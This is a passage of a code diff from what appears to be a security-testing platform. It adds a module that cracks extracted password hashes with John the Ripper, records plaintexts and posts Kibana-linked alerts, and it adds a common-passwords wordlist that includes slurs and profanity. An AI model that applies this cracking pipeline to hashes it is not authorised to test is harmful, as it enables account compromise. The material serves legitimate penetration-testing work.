+ # limit the number of simultaneous JTR instances
+ extracted_hash_msg = pb.ExtractedHashMessage()
+ extracted_hash_msg.metadata.CopyFrom(event.metadata)
+ extracted_hash = extracted_hash_msg.data.add()
+ extracted_hash.hash_type = data.type
+ extracted_hash.hash_value = data.data
+ extracted_hash.originating_object_id = data.originating_object_id
+
+ # TODO: formatting for Hashcat/JTR formats
+ extracted_hash.jtr_formatted_value = data.data
+
+ async with self.semaphore:
+ match extracted_hash.hash_type:
+ # handle specific hash types that need the type specified
+ case "hash_crypt":
+ jtr_pot_line = await self.cracker.crack(data.data, self.wordlist_path, "crypt")
+ case _:
+ jtr_pot_line = await self.cracker.crack(data.data, self.wordlist_path)
+
+ extracted_hash.checked_against_top_passwords = True
+
+ if jtr_pot_line:
+ extracted_hash.jtr_pot_line = jtr_pot_line
+ extracted_hash.is_cracked = True
+
+ # regarding spltting on the :
+ # yes this is stupid, but don't see another way to do this
+ plaintext = jtr_pot_line
+ extracted_hash.plaintext_value = plaintext
+
+ kibana_hash_url = await self.get_kibana_hash_url(extracted_hash_msg.metadata.message_id)
+
+ if extracted_hash.originating_object_id != "":
+ kibana_file_url = await self.get_kibana_file_url(extracted_hash.originating_object_id)
+
+ await self.alerter.alert(
+ f"*Hash Cracked*\n"
+ f"Hash of type *{extracted_hash.hash_type}* extracted from file *{extracted_hash.originating_object_id}* has been successfully cracked against the top {self.cfg.crack_wordlist_top_words} words in JohnTheRipper\n"
+ f"<{kibana_hash_url}|*Cracked hash in Kibana*>\n<{kibana_file_url}|*Originating file in Kibana*>"
+ )
+ else:
+ await self.alerter.alert(
+ f"*Hash Cracked*\nHash of type *{extracted_hash.hash_type}* has been successfully cracked against the top {self.cfg.crack_wordlist_top_words} words in JohnTheRipper<{kibana_hash_url}|*Cracked hash in Kibana*>\n"
+ )
+
+ # publish the extracted hash out to the extracted_hash_q_out queue
+ await self.extracted_hash_q_out.Send(extracted_hash_msg.SerializeToString())
+
+ async def get_kibana_file_url(self, file_uuid: str):
+ return f"{self.cfg.public_kibana_url}app/discover#/?_a=(filters:!((query:(match_phrase:(objectId:'{file_uuid}')))),index:'26360ae8-a518-4dac-b499-ef682d3f6bac')&_g=(time:(from:now-1y%2Fd,to:now))"
+
+ async def get_kibana_hash_url(self, message_uuid: str):
+ return f"{self.cfg.public_kibana_url}app/discover#/?_a=(filters:!((query:(match_phrase:(metadata.messageId:'{message_uuid}')))),index:'d884e1d0-c7a2-11ed-99da-e7509f36608c')&_g=(time:(from:now-1y%2Fd,to:now))"
diff --git a/cmd/passwordcracker/passwordcracker/wordlists/top_10000.txt b/cmd/passwordcracker/passwordcracker/wordlists/top_10000.txt
new file mode 100644
index 0000000..7f9b04b
--- /dev/null
+++ b/cmd/passwordcracker/passwordcracker/wordlists/top_10000.txt
@@ -0,0 +1,10001 @@
+123456
+password
+12345678
+qwerty
+123456789
+12345
+1234
+111111
+1234567
+dragon
+123123
+baseball
+abc123
+football
+monkey
+letmein
+696969
+shadow
+master
+666666
+qwertyuiop
+123321
+mustang
+1234567890
+michael
+654321
+pussy
+superman
+1qaz2wsx
+7777777
+fuckyou
+121212
+000000
+qazwsx
+123qwe
+killer
+trustno1
+jordan
+jennifer
+zxcvbnm
+asdfgh
+hunter
+buster
+soccer
+harley
+batman
+andrew
+tigger
+sunshine
+iloveyou
+fuckme
+2000
+charlie
+robert
+thomas
+hockey
+ranger
+daniel
+starwars
+klaster
+112233
+george
+asshole
+computer
+michelle
+jessica
+pepper
+1111
+zxcvbn
+555555
+11111111
+131313
+freedom
+777777
+pass
+fuck
+maggie
+159753
+aaaaaa
+ginger
+princess
+joshua
+cheese
+amanda
+summer
+love
+ashley
+6969
+nicole
+chelsea
+biteme
+matthew
+access
+yankees
+987654321
+dallas
+austin
+thunder
+taylor
+matrix
+william
+corvette
+hello
+martin
+heather
+secret
+fucker
+merlin
+diamond
+1234qwer
+gfhjkm
+hammer
+silver
+222222
+88888888
+anthony
+justin
+test
+bailey
+q1w2e3r4t5
+patrick
+internet
+scooter
+orange
+11111
+golfer
+cookie
+richard
+samantha
+bigdog
+guitar
+jackson
+whatever
+mickey
+chicken
+sparky
+snoopy
+maverick
+phoenix
+camaro
+sexy
+peanut
+morgan
+welcome
+falcon
+cowboy
+ferrari
+samsung
+andrea
+smokey
+steelers
+joseph
+mercedes
+dakota
+arsenal
+eagles
+melissa
+boomer
+booboo
+spider
+nascar
+monster
+tigers
+yellow
+xxxxxx
+123123123
+gateway
+marina
+diablo
+bulldog
+qwer1234
+compaq
+purple
+hardcore
+banana
+junior
+hannah
+123654
+porsche
+lakers
+iceman
+money
+cowboys
+987654
+london
+tennis
+999999
+ncc1701
+coffee
+scooby
+0000
+miller
+boston
+q1w2e3r4
+fuckoff
+brandon
+yamaha
+chester
+mother
+forever
+johnny
+edward
+333333
+oliver
+redsox
+player
+nikita
+knight
+fender
+barney
+midnight
+please
+brandy
+chicago
+badboy
+iwantu
+slayer
+rangers
+charles
+angel
+flower
+bigdaddy
+rabbit
+wizard
+bigdick
+jasper
+enter
+rachel
+chris
+steven
+winner
+adidas
+victoria
+natasha
+1q2w3e4r
+jasmine
+winter
+prince
+panties
+marine
+ghbdtn
+fishing
+cocacola
+casper
+james
+232323
+raiders
+888888
+marlboro
+gandalf
+asdfasdf
+crystal
+87654321
+12344321
+sexsex
+golden
+blowme
+bigtits
+8675309
+panther
+lauren
+angela
+bitch
+spanky
+thx1138
+angels
+madison
+winston
+shannon
+mike
+toyota
+blowjob
+jordan23
+canada
+sophie
+Password
+apples
+dick
+tiger
+razz
+123abc
+pokemon
+qazxsw
+55555
+qwaszx
+muffin
+johnson
+murphy
+cooper
+jonathan
+liverpoo
+david
+danielle
+159357
+jackie
+1990
+123456a
+789456
+turtle
+horny
+abcd1234
+scorpion
+qazwsxedc
+101010
+butter
+carlos
+password1
+dennis
+slipknot
+qwerty123
+booger
+asdf
+1991
+black
+startrek
+12341234
+cameron
+newyork
+rainbow
+nathan
+john
+1992
+rocket
+viking
+redskins
+butthead
+asdfghjkl
+1212
+sierra
+peaches
+gemini
+doctor
+wilson
+sandra
+helpme
+qwertyui
+victor
+florida
+dolphin
+pookie
+captain
+tucker
+blue
+liverpool
+theman
+bandit
+dolphins
+maddog
+packers
+jaguar
+lovers
+nicholas
+united
+tiffany
+maxwell
+zzzzzz
+nirvana
+jeremy
+suckit
+stupid
+porn
+monica
+elephant
+giants
+jackass
+hotdog
+rosebud
+success
+debbie
+mountain
+444444
+xxxxxxxx
+warrior
+1q2w3e4r5t
+q1w2e3
+123456q
+albert
+metallic
+lucky
+azerty
+7777
+shithead
+alex
+bond007
+alexis
+1111111
+samson
+5150
+willie
+scorpio
+bonnie
+gators
+benjamin
+voodoo
+driver
+dexter
+2112
+jason
+calvin
+freddy
+212121
+creative
+12345a
+sydney
+rush2112
+1989
+asdfghjk
+red123
+bubba
+4815162342
+passw0rd
+trouble
+gunner
+happy
+fucking
+gordon
+legend
+jessie
+stella
+qwert
+eminem
+arthur
+apple
+nissan
+bullshit
+bear
+america
+1qazxsw2
+nothing
+parker
+4444
+rebecca
+qweqwe
+garfield
+01012011
+beavis
+69696969
+jack
+asdasd
+december
+2222
+102030
+252525
+11223344
+magic
+apollo
+skippy
+315475
+girls
+kitten
+golf
+copper
+braves
+shelby
+godzilla
+beaver
+fred
+tomcat
+august
+buddy
+airborne
+1993
+1988
+lifehack
+qqqqqq
+brooklyn
+animal
+platinum
+phantom
+online
+xavier
+darkness
+blink182
+power
+fish
+green
+789456123
+voyager
+police
+travis
+12qwaszx
+heaven
+snowball
+lover
+abcdef
+00000
+pakistan
+007007
+walter
+playboy
+blazer
+cricket
+sniper
+hooters
+donkey
+willow
+loveme
+saturn
+therock
+redwings
+bigboy
+pumpkin
+trinity
+williams
+tits
+nintendo
+digital
+destiny
+topgun
+runner
+marvin
+guinness
+chance
+bubbles
+testing
+fire
+november
+minecraft
+asdf1234
+lasvegas
+sergey
+broncos
+cartman
+private
+celtic
+birdie
+little
+cassie
+babygirl
+donald
+beatles
+1313
+dickhead
+family
+12121212
+school
+louise
+gabriel
+eclipse
+fluffy
+147258369
+lol123
+explorer
+beer
+nelson
+flyers
+spencer
+scott
+lovely
+gibson
+doggie
+cherry
+andrey
+snickers
+buffalo
+pantera
+metallica
+member
+carter
+qwertyu
+peter
+alexande
+steve
+bronco
+paradise
+goober
+5555
+samuel
+montana
+mexico
+dreams
+michigan
+cock
+carolina
+yankee
+friends
+magnum
+surfer
+poopoo
+maximus
+genius
+cool
+vampire
+lacrosse
+asd123
+aaaa
+christin
+kimberly
+speedy
+sharon
+carmen
+111222
+kristina
+sammy
+racing
+ou812
+sabrina
+horses
+0987654321
+qwerty1
+pimpin
+baby
+stalker
+enigma
+147147
+star
+poohbear
+boobies
+147258
+simple
+bollocks
+12345q
+marcus
+brian
+1987
+qweasdzxc
+drowssap
+hahaha
+caroline
+barbara
+dave
+viper
+drummer
+action
+einstein
+bitches
+genesis
+hello1
+scotty
+friend
+forest
+010203
+hotrod
+google
+vanessa
+spitfire
+badger
+maryjane
+friday
+alaska
+1232323q
+tester
+jester
+jake
+champion
+billy
+147852
+rock
+hawaii
+badass
+chevy
+420420
+walker
+stephen
+eagle1
+bill
+1986
+october
+gregory
+svetlana
+pamela
+1984
+music
+shorty
+westside
+stanley
+diesel
+courtney
+242424
+kevin
+porno
+hitman
+boobs
+mark
+12345qwert
+reddog
+frank
+qwe123
+popcorn
+patricia
+aaaaaaaa
+1969
+teresa
+mozart
+buddha
+anderson
+paul
+melanie
+abcdefg
+security
+lucky1
+lizard
+denise
+3333
+a12345
+123789
+ruslan
+stargate
+simpsons
+scarface
+eagle
+123456789a
+thumper
+olivia
+naruto
+1234554321
+general
+cherokee
+a123456
+vincent
+Usuckballz1
+spooky
+qweasd
+cumshot
+free
+frankie
+douglas
+death
+1980
+loveyou
+kitty
+kelly
+veronica
+suzuki
+semperfi
+penguin
+mercury
+liberty
+spirit
+scotland
+natalie
+marley
+vikings
+system
+sucker
+king
+allison
+marshall
+1979
+098765
+qwerty12
+hummer
+adrian
+1985
+vfhbyf
+sandman
+rocky
+leslie
+antonio
+98765432
+4321
+softball
+passion
+mnbvcxz
+bastard
+passport
+horney
+rascal
+howard
+franklin
+bigred
+assman
+alexander
+homer
+redrum
+jupiter
+claudia
+55555555
+141414
+zaq12wsx
+shit
+patches
+nigger
+cunt
+raider
+infinity
+andre
+54321
+galore
+college
+russia
+kawasaki
+bishop
+77777777
+vladimir
+money1
+freeuser
+wildcats
+francis
+disney
+budlight
+brittany
+1994
+00000000
+sweet
+oksana
+honda
+domino
+bulldogs
+brutus
+swordfis
+norman
+monday
+jimmy
+ironman
+ford
+fantasy
+9999
+7654321
+PASSWORD
+hentai
+duncan
+cougar
+1977
+jeffrey
+house
+dancer
+brooke
+timothy
+super
+marines
+justice
+digger
+connor
+patriots
+karina
+202020
+molly
+everton
+tinker
+alicia
+rasdzv3
+poop
+pearljam
+stinky
+naughty
+colorado
+123123a
+water
+test123
+ncc1701d
+motorola
+ireland
+asdfg
+slut
+matt
+houston
+boogie
+zombie
+accord
+vision
+bradley
+reggie
+kermit
+froggy
+ducati
+avalon
+6666
+9379992
+sarah
+saints
+logitech
+chopper
+852456
+simpson
+madonna
+juventus
+claire
+159951
+zachary
+yfnfif
+wolverin
+warcraft
+hello123
+extreme
+penis
+peekaboo
+fireman
+eugene
+brenda
+123654789
+russell
+panthers
+georgia
+smith
+skyline
+jesus
+elizabet
+spiderma
+smooth
+pirate
+empire
+bullet
+8888
+virginia
+valentin
+psycho
+predator
+arizona
+134679
+mitchell
+alyssa
+vegeta
+titanic
+christ
+goblue
+fylhtq
+wolf
+mmmmmm
+kirill
+indian
+hiphop
+baxter
+awesome
+people
+danger
+roland
+mookie
+741852963
+1111111111
+dreamer
+bambam
+arnold
+1981
+skipper
+serega
+rolltide
+elvis
+changeme
+simon
+1q2w3e
+lovelove
+fktrcfylh
+denver
+tommy
+mine
+loverboy
+hobbes
+happy1
+alison
+nemesis
+chevelle
+cardinal
+burton
+wanker
+picard
+151515
+tweety
+michael1
+147852369
+12312
+xxxx
+windows
+turkey
+456789
+1974
+vfrcbv
+sublime
+1975
+galina
+bobby
+newport
+manutd
+daddy
+american
+alexandr
+1966
+victory
+rooster
+qqq111
+madmax
+electric
+bigcock
+a1b2c3
+wolfpack
+spring
+phpbb
+lalala
+suckme
+spiderman
+eric
+darkside
+classic
+raptor
+123456789q
+hendrix
+1982
+wombat
+avatar
+alpha
+zxc123
+crazy
+hard
+england
+brazil
+1978
+01011980
+wildcat
+polina
+freepass
+carrie
+99999999
+qaz123
+holiday
+fyfcnfcbz
+brother
+taurus
+shaggy
+raymond
+maksim
+gundam
+admin
+vagina
+pretty
+pickle
+good
+chronic
+alabama
+airplane
+22222222
+1976
+1029384756
+01011
+time
+sports
+ronaldo
+pandora
+cheyenne
+caesar
+billybob
+bigman
+1968
+124578
+snowman
+lawrence
+kenneth
+horse
+france
+bondage
+perfect
+kristen
+devils
+alpha1
+pussycat
+kodiak
+flowers
+1973
+01012000
+leather
+amber
+gracie
+chocolat
+bubba1
+catch22
+business
+2323
+1983
+cjkysirj
+1972
+123qweasd
+ytrewq
+wolves
+stingray
+ssssss
+serenity
+ronald
+greenday
+135790
+010101
+tiger1
+sunset
+charlie1
+berlin
+bbbbbb
+171717
+panzer
+lincoln
+katana
+firebird
+blizzard
+a1b2c3d4
+white
+sterling
+redhead
+password123
+candy
+anna
+142536
+sasha
+pyramid
+outlaw
+hercules
+garcia
+454545
+trevor
+teens
+maria
+kramer
+girl
+popeye
+pontiac
+hardon
+dude
+aaaaa
+323232
+tarheels
+honey
+cobra
+buddy1
+remember
+lickme
+detroit
+clinton
+basketball
+zeppelin
+whynot
+swimming
+strike
+service
+pavilion
+michele
+engineer
+dodgers
+britney
+bobafett
+adam
+741852
+21122112
+xxxxx
+robbie
+miranda
+456123
+future
+darkstar
+icecream
+connie
+1970
+jones
+hellfire
+fisher
+fireball
+apache
+fuckit
+blonde
+bigmac
+abcd
+morris
+angel1
+666999
+321321
+simone
+rockstar
+flash
+defender
+1967
+wallace
+trooper
+oscar
+norton
+casino
+cancer
+beauty
+weasel
+savage
+raven
+harvey
+bowling
+246810
+wutang
+theone
+swordfish
+stewart
+airforce
+abcdefgh
+nipples
+nastya
+jenny
+hacker
+753951
+amateur
+viktor
+srinivas
+maxima
+lennon
+freddie
+bluebird
+qazqaz
+presario
+pimp
+packard
+mouse
+looking
+lesbian
+jeff
+cheryl
+2001
+wrangler
+sandy
+machine
+lights
+eatme
+control
+tattoo
+precious
+harrison
+duke
+beach
+tornado
+tanner
+goldfish
+catfish
+openup
+manager
+1971
+street
+Soso123aljg
+roscoe
+paris
+natali
+light
+julian
+jerry
+dilbert
+dbrnjhbz
+chris1
+atlanta
+xfiles
+thailand
+sailor
+pussies
+pervert
+lucifer
+longhorn
+enjoy
+dragons
+young
+target
+elaine
+dustin
+123qweasdzxc
+student
+madman
+lisa
+integra
+wordpass
+prelude
+newton
+lolita
+ladies
+hawkeye
+corona
+bubble
+31415926
+trigger
+spike
+katie
+iloveu
+herman
+design
+cannon
+999999999
+video
+stealth
+shooter
+nfnmzyf
+hottie
+browns
+314159
+trucks
+malibu
+bruins
+bobcat
+barbie
+1964
+orlando
+letmein1
+freaky
+foobar
+cthutq
+baller
+unicorn
+scully
+pussy1
+potter
+cookies
+pppppp
+philip
+gogogo
+elena
+country
+assassin
+1010
+zaqwsx
+testtest
+peewee
+moose
+microsoft
+teacher
+sweety
+stefan
+stacey
+shotgun
+random
+laura
+hooker
+dfvgbh
+devildog
+chipper
+athena
+winnie
+valentina
+pegasus
+kristin
+fetish
+butterfly
+woody
+swinger
+seattle
+lonewolf
+joker
+booty
+babydoll
+atlantis
+tony
+powers
+polaris
+montreal
+angelina
+77777
+tickle
+regina
+pepsi
+gizmo
+express
+dollar
+squirt
+shamrock
+knicks
+hotstuff
+balls
+transam
+stinger
+smiley
+ryan
+redneck
+mistress
+hjvfirf
+cessna
+bunny
+toshiba
+single
+piglet
+fucked
+father
+deftones
+coyote
+castle
+cadillac
+blaster
+valerie
+samurai
+oicu812
+lindsay
+jasmin
+james1
+ficken
+blahblah
+birthday
+1234abcd
+01011990
+sunday
+manson
+flipper
+asdfghj
+181818
+wicked
+great
+daisy
+babes
+skeeter
+reaper
+maddie
+cavalier
+veronika
+trucker
+qazwsx123
+mustang1
+goldberg
+escort
+12345678910
+wolfgang
+rocks
+mylove
+mememe
+lancer
+ibanez
+travel
+sugar
+snake
+sister
+siemens
+savannah
+minnie
+leonardo
+basketba
+1963
+trumpet
+texas
+rocky1
+galaxy
+cristina
+aardvark
+shelly
+hotsex
+goldie
+fatboy
+benson
+321654
+141627
+sweetpea
+ronnie
+indigo
+13131313
+spartan
+roberto
+hesoyam
+freeman
+freedom1
+fredfred
+pizza
+manchester
+lestat
+kathleen
+hamilton
+erotic
+blabla
+22222
+1995
+skater
+pencil
+passwor
+larisa
+hornet
+hamlet
+gambit
+fuckyou2
+alfred
+456456
+sweetie
+marino
+lollol
+565656
+techno
+special
+renegade
+insane
+indiana
+farmer
+drpepper
+blondie
+bigboobs
+272727
+1a2b3c
+valera
+storm
+seven
+rose
+nick
+mister
+karate
+casey
+1qaz2wsx3edc
+1478963
+maiden
+julie
+curtis
+colors
+christia
+buckeyes
+13579
+0123456789
+toronto
+stephani
+pioneer
+kissme
+jungle
+jerome
+holland
+harry
+garden
+enterpri
+dragon1
+diamonds
+chrissy
+bigone
+343434
+wonder
+wetpussy
+subaru
+smitty
+racecar
+pascal
+morpheus
+joanne
+irina
+indians
+impala
+hamster
+charger
+change
+bigfoot
+babylon
+66666666
+timber
+redman
+pornstar
+bernie
+tomtom
+thuglife
+millie
+buckeye
+aaron
+virgin
+tristan
+stormy
+rusty
+pierre
+napoleon
+monkey1
+highland
+chiefs
+chandler
+catdog
+aurora
+1965
+trfnthbyf
+sampson
+nipple
+dudley
+cream
+consumer
+burger
+brandi
+welcome1
+triumph
+joejoe
+hunting
+dirty
+caserta
+brown
+aragorn
+363636
+mariah
+element
+chichi
+2121
+123qwe123
+wrinkle1
+smoke
+omega
+monika
+leonard
+justme
+hobbit
+gloria
+doggy
+chicks
+bass
+audrey
+951753
+51505150
+11235813
+sakura
+philips
+griffin
+butterfl
+artist
+66666
+island
+goforit
+emerald
+elizabeth
+anakin
+watson
+poison
+none
+italia
+callie
+bobbob
+autumn
+andreas
+123
+sherlock
+q12345
+pitbull
+marathon
+kelsey
+inside
+german
+blackie
+access14
+123asd
+zipper
+overlord
+nadine
+marie
+basket
+trombone
+stones
+sammie
+nugget
+naked
+kaiser
+isabelle
+huskers
+bomber
+barcelona
+babylon5
+babe
+alpine
+weed
+ultimate
+pebbles
+nicolas
+marion
+loser
+linda
+eddie
+wesley
+warlock
+tyler
+goddess
+fatcat
+energy
+david1
+bassman
+yankees1
+whore
+trojan
+trixie
+superfly
+kkkkkk
+ybrbnf
+warren
+sophia
+sidney
+pussys
+nicola
+campbell
+vfvjxrf
+singer
+shirley
+qawsed
+paladin
+martha
+karen
+help
+harold
+geronimo
+forget
+concrete
+191919
+westham
+soldier
+q1w2e3r4t5y6
+poiuyt
+nikki
+mario
+juice
+jessica1
+global
+dodger
+123454321
+webster
+titans
+tintin
+tarzan
+sexual
+sammy1
+portugal
+onelove
+marcel
+manuel
+madness
+jjjjjj
+holly
+christy
+424242
+yvonne
+sundance
+sex4me
+pleasure
+logan
+danny
+wwwwww
+truck
+spartak
+smile
+michel
+history
+Exigen
+65432
+1234321
+sherry
+sherman
+seminole
+rommel
+network
+ladybug
+isabella
+holden
+harris
+germany
+fktrctq
+cotton
+angelo
+14789632
+sergio
+qazxswedc
+moon
+jesus1
+trunks
+snakes
+sluts
+kingkong
+bluesky
+archie
+adgjmptw
+911911
+112358
+sunny
+suck
+snatch
+planet
+panama
+ncc1701e
+mongoose
+head
+hansolo
+desire
+alejandr
+1123581321
+whiskey
+waters
+teen
+party
+martina
+margaret
+january
+connect
+bluemoon
+bianca
+andrei
+5555555
+smiles
+nolimit
+long
+assass
+abigail
+555666
+yomama
+rocker
+plastic
+katrina
+ghbdtnbr
+ferret
+emily
+bonehead
+blessed
+beagle
+asasas
+abgrtyu
+sticky
+olga
+japan
+jamaica
+home
+hector
+dddddd
+1961
+turbo
+stallion
+personal
+peace
+movie
+morrison
+joanna
+geheim
+finger
+cactus
+7895123
+susan
+super123
+spyder
+mission
+anything
+aleksandr
+zxcvb
+shalom
+rhbcnbyf
+pickles
+passat
+natalia
+moomoo
+jumper
+inferno
+dietcoke
+cumming
+cooldude
+chuck
+christop
+million
+lollipop
+fernando
+christian
+blue22
+bernard
+apple1
+unreal
+spunky
+ripper
+open
+niners
+letmein2
+flatron
+faster
+deedee
+bertha
+april
+4128
+01012010
+werewolf
+rubber
+punkrock
+orion
+mulder
+missy
+larry
+giovanni
+gggggg
+cdtnkfyf
+yoyoyo
+tottenha
+shaved
+newman
+lindsey
+joey
+hongkong
+freak
+daniela
+camera
+brianna
+blackcat
+a1234567
+1q1q1q
+zzzzzzzz
+stars
+pentium
+patton
+jamie
+hollywoo
+florence
+biscuit
+beetle
+andy
+always
+speed
+sailing
+phillip
+legion
+gn56gn56
+909090
+martini
+dream
+darren
+clifford
+2002
+stocking
+solomon
+silvia
+pirates
+office
+monitor
+monique
+milton
+matthew1
+maniac
+loulou
+jackoff
+immortal
+fossil
+dodge
+delta
+44444444
+121314
+sylvia
+sprite
+shadow1
+salmon
+diana
+shasta
+patriot
+palmer
+oxford
+nylons
+molly1
+irish
+holmes
+curious
+asdzxc
+1999
+makaveli
+kiki
+kennedy
+groovy
+foster
+drizzt
+twister
+snapper
+sebastia
+philly
+pacific
+jersey
+ilovesex
+dominic
+charlott
+carrot
+anthony1
+africa
+111222333
+sharks
+serena
+satan666
+maxmax
+maurice
+jacob
+gerald
+cosmos
+columbia
+colleen
+cjkywt
+cantona
+brooks
+99999
+787878
+rodney
+nasty
+keeper
+infantry
+frog
+french
+eternity
+dillon
+coolio
+condor
+anton
+waterloo
+velvet
+vanhalen
+teddy
+skywalke
+sheila
+sesame
+seinfeld
+funtime
+012345
+standard
+squirrel
+qazwsxed
+ninja
+kingdom
+grendel
+ghost
+fuckfuck
+damien
+crimson
+boeing
+bird
+biggie
+090909
+zaq123
+wolverine
+wolfman
+trains
+sweets
+sunrise
+maxine
+legolas
+jericho
+isabel
+foxtrot
+anal
+shogun
+search
+robinson
+rfrfirf
+ravens
+privet
+penny
+musicman
+memphis
+megadeth
+dogs
+butt
+brownie
+oldman
+graham
+grace
+505050
+verbatim
+support
+safety
+review
+newlife
+muscle
+herbert
+colt45
+bottom
+2525
+1q2w3e4r5t6y
+1960
+159159
+western
+twilight
+thanks
+suzanne
+potato
+pikachu
+murray
+master1
+marlin
+gilbert
+getsome
+fuckyou1
+dima
+denis
+789789
+456852
+stone
+stardust
+seven7
+peanuts
+obiwan
+mollie
+licker
+kansas
+frosty
+ball
+262626
+tarheel
+showtime
+roman
+markus
+maestro
+lobster
+darwin
+cindy
+chubby
+2468
+147896325
+tanker
+surfing
+skittles
+showme
+shaney14
+qwerty12345
+magic1
+goblin
+fusion
+blades
+banshee
+alberto
+123321123
+123098
+powder
+malcolm
+intrepid
+garrett
+delete
+chaos
+bruno
+1701
+tequila
+short
+sandiego
+python
+punisher
+newpass
+iverson
+clayton
+amadeus
+1234567a
+stimpy
+sooners
+preston
+poopie
+photos
+neptune
+mirage
+harmony
+gold
+fighter
+dingdong
+cats
+whitney
+sucks
+slick
+rick
+ricardo
+princes
+liquid
+helena
+daytona
+clover
+blues
+anubis
+1996
+192837465
+starcraft
+roxanne
+pepsi1
+mushroom
+eatshit
+dagger
+cracker
+capital
+brendan
+blackdog
+25802580
+strider
+slapshot
+porter
+pink
+jason1
+hershey
+gothic
+flight
+ekaterina
+cody
+buffy
+boss
+bananas
+aaaaaaa
+123698745
+1234512345
+tracey
+miami
+kolobok
+danni
+chargers
+cccccc
+blue123
+bigguy
+33333333
+0.0.000
+warriors
+walnut
+raistlin
+ping
+miguel
+latino
+griffey
+green1
+gangster
+felix
+engine
+doodle
+coltrane
+byteme
+buck
+asdf123
+123456z
+0007
+vertigo
+tacobell
+shark
+portland
+penelope
+osiris
+nymets
+nookie
+mary
+lucky7
+lucas
+lester
+ledzep
+gorilla
+coco
+bugger
+bruce
+blood
+bentley
+battle
+1a2b3c4d
+19841984
+12369874
+weezer
+turner
+thegame
+stranger
+sally
+Mailcreated5240
+knights
+halflife
+ffffff
+dorothy
+dookie
+damian
+258456
+women
+trance
+qwerasdf
+playtime
+paradox
+monroe
+kangaroo
+henry
+dumbass
+dublin
+charly
+butler
+brasil
+blade
+blackman
+bender
+baggins
+wisdom
+tazman
+swallow
+stuart
+scruffy
+phoebe
+panasonic
+Michael
+masters
+ghjcnj
+firefly
+derrick
+christine
+beautiful
+auburn
+archer
+aliens
+161616
+1122
+woody1
+wheels
+test1
+spanking
+robin
+redred
+racerx
+postal
+parrot
+nimrod
+meridian
+madrid
+lonestar
+kittycat
+hell
+goodluck
+gangsta
+formula
+devil
+cassidy
+camille
+buttons
+bonjour
+bingo
+barcelon
+allen
+98765
+898989
+303030
+2020
+0000000
+tttttt
+tamara
+scoobydo
+samsam
+rjntyjr
+richie
+qwertz
+megaman
+luther
+jazz
+crusader
+bollox
+123qaz
+12312312
+102938
+window
+sprint
+sinner
+sadie
+rulez
+quality
+pooper
+pass123
+oakland
+misty
+lvbnhbq
+lady
+hannibal
+guardian
+grizzly
+fuckface
+finish
+discover
+collins
+catalina
+carson
+black1
+bang
+annie
+123987
+1122334455
+wookie
+volume
+tina
+rockon
+qwer
+molson
+marco
+californ
+angelica
+2424
+world
+william1
+stonecol
+shemale
+shazam
+picasso
+oracle
+moscow
+luke
+lorenzo
+kitkat
+johnjohn
+janice
+gerard
+flames
+duck
+dark
+celica
+445566
+234567
+yourmom
+topper
+stevie
+septembe
+scarlett
+santiago
+milano
+lowrider
+loving
+incubus
+dogdog
+anastasia
+1962
+123zxc
+vacation
+tempest
+sithlord
+scarlet
+rebels
+ragnarok
+prodigy
+mobile
+keyboard
+golfing
+english
+carlo
+anime
+545454
+19921992
+11112222
+vfhecz
+sobaka
+shiloh
+penguins
+nuttertools
+mystery
+lorraine
+llllll
+lawyer
+kiss
+jeep
+gizmodo
+elwood
+dkflbvbh
+987456
+6751520
+12121
+titleist
+tardis
+tacoma
+smoker
+shaman
+rootbeer
+magnolia
+julia
+juan
+hoover
+gotcha
+dodgeram
+creampie
+buffett
+bridge
+aspirine
+456654
+socrates
+photo
+parola
+nopass
+megan
+lucy
+kenwood
+kenny
+imagine
+forgot
+cynthia
+blondes
+ashton
+aezakmi
+1234567q
+viper1
+terry
+sabine
+redalert
+qqqqqqqq
+munchkin
+monkeys
+mersedes
+melvin
+mallard
+lizzie
+imperial
+honda1
+gremlin
+gillian
+elliott
+defiant
+dadada
+cooler
+bond
+blueeyes
+birdman
+bigballs
+analsex
+753159
+zaq1xsw2
+xanadu
+weather
+violet
+sergei
+sebastian
+romeo
+research
+putter
+oooooo
+national
+lexmark
+hotboy
+greg
+garbage
+colombia
+chucky
+carpet
+bobo
+bobbie
+assfuck
+88888
+01012001
+smokin
+shaolin
+roger
+rammstein
+pussy69
+katerina
+hearts
+frogger
+freckles
+dogg
+dixie
+claude
+caliente
+amazon
+abcde
+1221
+wright
+willis
+spidey
+sleepy
+sirius
+santos
+rrrrrr
+randy
+picture
+payton
+mason
+dusty
+director
+celeste
+broken
+trebor
+sheena
+qazwsxedcrfv
+polo
+oblivion
+mustangs
+margarita
+letsgo
+josh
+jimbob
+jimbo
+janine
+jackal
+iforgot
+hallo
+fatass
+deadhead
+abc12
+zxcv1234
+willy
+stud
+slappy
+roberts
+rescue
+porkchop
+noodles
+nellie
+mypass
+mikey
+marvel
+laurie
+grateful
+fuck_inside
+formula1
+Dragon
+cxfcnmt
+bridget
+aussie
+asterix
+a1s2d3f4
+23232323
+123321q
+veritas
+spankme
+shopping
+roller
+rogers
+queen
+peterpan
+palace
+melinda
+martinez
+lonely
+kristi
+justdoit
+goodtime
+frances
+camel
+beckham
+atomic
+alexandra
+active
+223344
+vanilla
+thankyou
+springer
+sommer
+Software
+sapphire
+richmond
+printer
+ohyeah
+massive
+lemons
+kingston
+granny
+funfun
+evelyn
+donnie
+deanna
+brucelee
+bosco
+aggies
+313131
+wayne
+thunder1
+throat
+temple
+smudge
+qqqq
+qawsedrf
+plymouth
+pacman
+myself
+mariners
+israel
+hitler
+heather1
+faith
+Exigent
+clancy
+chelsea1
+353535
+282828
+123456qwerty
+tobias
+tatyana
+stuff
+spectrum
+sooner
+shitty
+sasha1
+pooh
+pineappl
+mandy
+labrador
+kisses
+katrin
+kasper
+kaktus
+harder
+eduard
+dylan
+dead
+chloe
+astros
+1234567890q
+10101010
+stephanie
+satan
+hudson
+commando
+bones
+bangkok
+amsterdam
+1959
+webmaster
+valley
+space
+southern
+rusty1
+punkin
+napass
+marian
+magnus
+lesbians
+krishna
+hungry
+hhhhhh
+fuckers
+fletcher
+content
+account
+906090
+thompson
+simba
+scream
+q1q1q1
+primus
+Passw0rd
+mature
+ivanov
+husker
+homerun
+esther
+ernest
+champs
+celtics
+candyman
+bush
+boner
+asian
+aquarius
+33333
+zxcv
+starfish
+pics
+peugeot
+painter
+monopoly
+lick
+infiniti
+goodbye
+gangbang
+fatman
+darling
+celine
+camelot
+boat
+blackjac
+barkley
+area51
+8J4yE3Uz
+789654
+19871987
+0000000000
+vader
+shelley
+scrappy
+sarah1
+sailboat
+richard1
+moloko
+method
+mama
+kyle
+kicker
+keith
+judith
